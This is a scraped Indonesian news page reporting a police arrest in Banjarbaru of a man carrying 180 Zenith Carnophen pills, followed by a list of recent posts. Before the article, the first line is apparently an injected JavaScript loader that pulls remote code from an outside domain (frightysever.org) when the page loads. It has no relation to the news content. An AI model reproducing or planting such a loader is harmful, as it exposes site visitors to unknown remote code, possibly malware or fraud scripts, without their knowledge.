(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Beli 180 Zenith di Martapura, AP Tertangkap di Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Seorang lelaki kedapatan melakukan transaksi narkoba di depan dealer Honda jalan A Yani Km 32, Kelurahan Loktabat Utara, Kota Banjarbaru.

AP (31) tertangkap anggota Unit Opsnal Polsek Banjarbaru Utara yang sedang berpatroli pada Kamis (21/9/2023) sekitar pukul 23.15 Wita.

Lelaki itu kedapatan membawa 180 butir narkotika jenis zenith carnophen, setelah dari seorang perempuan di Martapura, Kabupaten Banjar.

Baca juga: Kemarau Hingga November, Karhutla Kian Mengancam Kalsel

 

Peristiwa ini diungkap 

“Saat digeledah petugas menemukan total 180 butir narkotika jenis Zenith Carnophen yang disimpan di dalam saku celananya,” ucap Kapolsek Banjarbaru Utara, Kompol Yopie Andri Haryono, Selasa (3/10/2023) pagi.

Ratusan butir barang haram itu disimpan AP dalam satu klip besar, sebanyak 10 klip masing-masing berisi 10 butir dan satu klip kecil yang berisi delapan butir.

“Setelah diintrogasi dia mengaku memperoleh barang haram tersebut dari seorang perempuan di daerah Martapura dengan harga Rp800 ribu per klip besarnya,” jelas Kapolsek.

Baca juga: Tindak Lanjut Instruksi Gubernur, Dinas PUPR Kalsel Bagikan Masker di Jalan

Kompol Yopie mengatakan, di lokasi tersebut dilaporkan masyarakat kerap ditemui adanya aktivitas transaksi jual beli barang terlarang.

“Tepatnya di sekitar SPBU Loktabat, dengan pelaku menggunakan modus operandi memiliki dan menyimpan narkotika jenis zenith carnophen,” imbuh dia.

Dari penggeledahan itu, polisi turut mengamankan sebuah handphone merk Vivo berwarna putih dan uang tunai sebesar Rp400 ribu dari tersangka yang berdomisili di Cindai Alus, Martapura.

Baca juga: Wakapolri Diberi Anugerah Kehormatan Warga Banjar

Petugas kepolisian mengangkut tersangka dan barang bukti ke Polsek Banjarbaru Utara untuk dilakukan pengembangan terhadap pelaku lainnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

8 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

11 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

14 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

14 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

15 jam ago

This website uses cookies.